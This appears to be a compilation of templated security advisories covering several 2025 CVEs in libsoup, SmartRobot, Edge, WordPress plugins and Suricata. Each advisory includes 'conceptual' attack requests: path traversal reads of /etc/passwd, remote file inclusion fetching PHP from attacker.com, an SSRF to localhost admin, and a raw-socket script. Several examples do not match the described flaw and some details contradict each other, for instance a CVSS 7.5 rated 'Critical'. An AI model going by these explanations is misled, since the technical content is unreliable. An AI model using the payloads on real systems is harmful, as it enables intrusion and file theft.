Author: Ameeba

Overview

CVE-2025-32906 is a critical vulnerability discovered in libsoup, a widely-used HTTP client/server library in C. If exploited, this flaw could allow a malicious actor to crash the HTTP server, potentially leading to a system compromise or data leakage. Given the severity of this flaw, it is crucial for affected systems to mitigate the risk as quickly as possible.

Vulnerability Summary

CVE ID: CVE-2025-32906
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise, data leakage

Affected Products

Product | Affected Versions

libsoup | All versions prior to patch

How the Exploit Works

The vulnerability lies in the soup_headers_parse_request() function within the libsoup library. A malicious user could send a specially crafted HTTP request to trigger an out-of-bound read, causing the HTTP server to crash. This crash could potentially allow further exploitation, leading to system compromise and data leakage.

Conceptual Example Code

Below is a conceptual example of a malicious HTTP request that could exploit this vulnerability:

GET / HTTP/1.1
Host: target.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache

In this example, specific combinations of headers or values may trigger the out-of-bound read, leading to a server crash.

Mitigation Guidance

Users of libsoup are strongly recommended to apply the vendor patch as soon as possible. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation to filter out malicious HTTP requests.

Overview

CVE-2025-3572 is a significant server-side request forgery vulnerability discovered in INTUMIT’s SmartRobot. It poses a direct threat to the security of network systems using this product, allowing remote unauthenticated attackers the potential to probe internal networks and access local files on the server. This vulnerability is of particular concern due to its potential for data leakage or even full system compromise.

Vulnerability Summary

CVE ID: CVE-2025-3572
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthenticated remote attackers can probe internal networks and access local files on the server, possibly leading to system compromise and data leakage.

Affected Products

Product | Affected Versions

SmartRobot | All versions prior to the patch

How the Exploit Works

The exploit takes advantage of a server-side request forgery (SSRF) vulnerability in SmartRobot. The attacker sends a maliciously crafted request to the server running SmartRobot. This server, failing to properly validate or sanitize the request, ends up executing it. This execution can lead to unauthorized actions such as probing the internal network or accessing local files on the server.

Conceptual Example Code

This is a conceptual example of how an attacker might exploit the vulnerability:

GET /api/request?target=http://localhost:8080/admin HTTP/1.1
Host: vulnerable.smartrobot.com

In the above example, the attacker is able to access the local ‘admin’ directory of the server by crafting a GET request to the SmartRobot server. The server ends up executing the request, giving the attacker unauthorized access.

Overview

The vulnerability identified as CVE-2025-29834 is an out-of-bounds read in Microsoft Edge (Chromium-based) that allows an unauthorized attacker to execute code over a network. It is a critical issue that affects all users of the affected versions of the software. The vulnerability presents a significant risk to data security and the integrity of systems using the affected software.

Vulnerability Summary

CVE ID: CVE-2025-29834
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Microsoft Edge (Chromium-based) | All versions prior to the security patch

How the Exploit Works

The exploit takes advantage of an out-of-bounds read vulnerability in the affected software. This means that an unauthorized attacker can send specially crafted data packets over a network to the victim’s system. The software, upon receiving these packets, attempts to read beyond the allocated memory buffer. This can result in unpredictable behavior, including the execution of arbitrary code by the attacker.

Conceptual Example Code

The following code snippet is a conceptual example of how an attacker might exploit the vulnerability:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "base64_encoded_arbitrary_code" }

In this example, the “malicious_payload” is a base64 encoded arbitrary code that the attacker wants the vulnerable system to execute. The server, upon receiving this request, attempts to process the payload leading to an out-of-bounds read, which in turn could result in the execution of the attacker’s code.

Mitigation

To mitigate the risk associated with this vulnerability, users are advised to apply the vendor-provided patch immediately. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. These tools can detect and prevent attempts to exploit this vulnerability.

Overview

The vulnerability CVE-2025-32671 has been detected in the software John Weissberg Print Science Designer, affecting versions up to 1.3.155. This security flaw, classified as a ‘Path Traversal’ vulnerability, can lead to a significant compromise of system security or potential data leakage, making it a notable concern for users of the affected software.

Vulnerability Summary

CVE ID: CVE-2025-32671
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

John Weissberg Print Science Designer | Up to 1.3.155

How the Exploit Works

The exploit takes advantage of the improper limitation of a pathname to a restricted directory in John Weissberg Print Science Designer. This allows a malicious user to gain unauthorized access to sensitive data or even execute arbitrary code by manipulating the file path input, potentially causing a path traversal.

Conceptual Example Code

An example of how this vulnerability might be exploited could be a malicious HTTP request sent to the affected server. The attacker could manipulate the file path in the request to access sensitive data or execute arbitrary code. The example below is a conceptual representation and may not represent an actual exploit.

GET /file?filename=../../../etc/passwd HTTP/1.1
Host: target.example.com

In the above request, the attacker is attempting to access the “/etc/passwd” file, which is typically restricted and contains sensitive information. This is done by using a series of “../” to traverse up the directory tree.

Recommended Mitigation

To prevent an exploit of this vulnerability, users are advised to apply the patch provided by the vendor as soon as possible. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may serve as a temporary mitigation. Regularly updating and patching software is crucial in preventing the exploitation of such vulnerabilities.

Overview

The vulnerability identified as CVE-2025-32585 is a significant security flaw discovered in Trusty Plugins Shop Products Filter. It relates to a path traversal vulnerability that can potentially be exploited to allow PHP Local File Inclusion. This vulnerability poses a severe risk to any system using versions up to 1.2 of the Shop Products Filter, leading to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-32585
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Trusty Plugins Shop Products Filter | Up to and including 1.2

How the Exploit Works

The exploit takes advantage of a path traversal vulnerability in the Shop Products Filter. By manipulating file paths in requests, an attacker can trick the system into running or including files from arbitrary locations, leading to PHP Local File Inclusion. This can enable the execution of arbitrary PHP code on the system, potentially leading to full system compromise and data leakage.

Conceptual Example Code

Here is a conceptual example of how a malicious HTTP request exploiting this vulnerability might look:

GET /filter.php?file=../../../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker is attempting to access the ‘/etc/passwd’ file, which contains user password data. If successful, this attack could lead to unauthorized access to sensitive system data.

Mitigation Guidance

To protect against this vulnerability, users should apply any patches provided by the vendor as soon as possible. As a temporary measure, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and block attempts to exploit this vulnerability.

Overview

This report discusses the details and potential impacts of a Path Traversal vulnerability identified as CVE-2025-32509. The vulnerability affects the WPMinds Simple WP Events plugin, used in various web applications. This vulnerability, if exploited, could lead to unauthorized access, potential system compromise, and data leakage, making it a significant security concern for users and developers alike.

Vulnerability Summary

CVE ID: CVE-2025-32509
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

WPMinds Simple WP Events | n/a through 1.8.17

How the Exploit Works

The vulnerability is due to an improper limitation of a pathname to a restricted directory (Path Traversal) in WPMinds Simple WP Events. This allows an attacker to read arbitrary files on the server’s filesystem that is running an affected version of the software. The attacker can exploit this vulnerability by sending a specially crafted request containing directory traversal character sequences to the target application.

Conceptual Example Code

The following HTTP request is a conceptual example of how the vulnerability might be exploited.

GET /path/../../etc/passwd HTTP/1.1
Host: target.example.com

In the above example, the attacker attempts to traverse the directory to access the ‘/etc/passwd’ file, a standard file in Unix-like operating systems that contains the necessary information to allow the system to manage user accounts.

Mitigation Guidance

Users of the affected software are strongly advised to apply the vendor patch as soon as it is available. In the meantime, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability as a temporary mitigation measure.

Overview

This report discusses CVE-2025-31041, a security vulnerability in the AnyTrack Affiliate Link Manager. This vulnerability stems from a missing authorization check, which can lead to exploitation of incorrectly configured access control security levels. This crucial issue affects businesses and individuals using AnyTrack Affiliate Link Manager, potentially leading to system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-31041
Severity: High (7.5/10 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: A successful exploit could lead to system compromise and data leakage.

Affected Products

Product | Affected Versions

AnyTrack Affiliate Link Manager | Up to version 1.0.4

How the Exploit Works

The exploit targets a missing authorization vulnerability in AnyTrack Affiliate Link Manager. An attacker could potentially manipulate access control security levels due to the system’s incorrectly configured settings. This could allow unauthorized access to sensitive data or even grant the attacker control over the system.

Conceptual Example Code

The example below displays a conceptual HTTP request that an attacker might use to exploit this vulnerability.

POST /anytrackapi/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "accessOverride": "admin" }

In this concept, the attacker sends a POST request to the affected endpoint, attempting to override access control by setting their role to “admin.” If successful, this would give them unauthorized access to the system.

Mitigation Guidance

Users are strongly advised to apply the vendor-supplied patch to correct this issue. Until the patch can be applied, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure to prevent potential exploits of this vulnerability.

Overview

The vulnerability, CVE-2025-31015, is a critical security issue that affects the Adrian Tobey WordPress SMTP Service, specifically the Email Delivery Solved! – MailHawk plugin. This flaw could potentially allow an attacker to gain unauthorized access and manipulate files on the server, leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-31015
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

WordPress SMTP Service, Email Delivery Solved! – MailHawk | n/a through 1.3.1

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for include/require statement in PHP program (‘PHP Remote File Inclusion’) vulnerability. An attacker could manipulate the include/require statement to include a file from a remote server that contains malicious PHP code. Once the file is included, the malicious code will be executed by the server, which can lead to unauthorized access or modification of data.

Conceptual Example Code

A potential exploit may look as follows:

GET /include.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.com

In this example, the `file` parameter in the URL is manipulated to include a file from a remote server (`attacker.com`). The file `malicious_file.txt` contains the attacker’s PHP code, which will be executed once it is included in the target server.

Mitigation Guidance

To mitigate the risk of this vulnerability, it is recommended to apply the patch provided by the vendor. If the patch cannot be applied immediately, it is advised to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary countermeasure to monitor and block suspicious activity.

Overview

This report provides a detailed analysis of a critical vulnerability, identified as CVE-2025-31014, affecting the ho3einie Material Dashboard. The vulnerability stems from an improper control of filename for Include/Require Statement in PHP Program that could potentially allow PHP Local File Inclusion, leading to a system compromise or data leakage. The vulnerability is notable due to its high severity score and the affected population, which includes all versions of Material Dashboard up to 1.4.5.

Vulnerability Summary

CVE ID: CVE-2025-31014
Severity: Critical (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Material Dashboard | n/a through 1.4.5

How the Exploit Works

The vulnerability in question arises from an improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’) in ho3einie Material Dashboard. This flaw allows an attacker to include local PHP files, potentially leading to arbitrary code execution. An attacker can exploit this vulnerability by sending a specially crafted request to the server, leading to a potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

GET /include.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable-website.com

In the above example, the attacker uses the vulnerable parameter `file` to include a malicious PHP file hosted on their own server.

Mitigation Guidance

To mitigate this vulnerability, users should apply the vendor-provided patch as soon as it becomes available. As a temporary measure, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and block attempts to exploit this vulnerability.

Overview

The network Intrusion Detection System (IDS), Intrusion Prevention System (IPS), and Network Security Monitoring engine, Suricata, is susceptible to a significant vulnerability, CVE-2025-29915. This vulnerability, if exploited, could potentially lead to a system compromise or data leakage. The compromise arises due to the default packet size in Suricata, which is based on the network interface MTU, causing truncated packets to be seen by Suricata.

Vulnerability Summary

CVE ID: CVE-2025-29915
Severity: High, CVSS score of 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Suricata Network Security Monitoring Engine | Versions prior to 7.0.9

How the Exploit Works

The exploit takes advantage of the AF_PACKET defrag option in Suricata, which is enabled by default. This option allows AF_PACKET to re-assemble fragmented packets before reaching Suricata. However, because the default packet size in Suricata is based on the network interface MTU, Suricata can end up seeing truncated packets. If an attacker sends a maliciously fragmented packet, it can achieve a successful exploit.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a simple script that sends fragmented packets to a target:

import socket
target_ip = "target.example.com"
packet = b"malicious_payload"
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
sock.sendto(packet, (target_ip, 0))

This script sends a raw packet to a target IP. The payload is intentionally fragmented, which could lead to the exploitation of the Suricata vulnerability.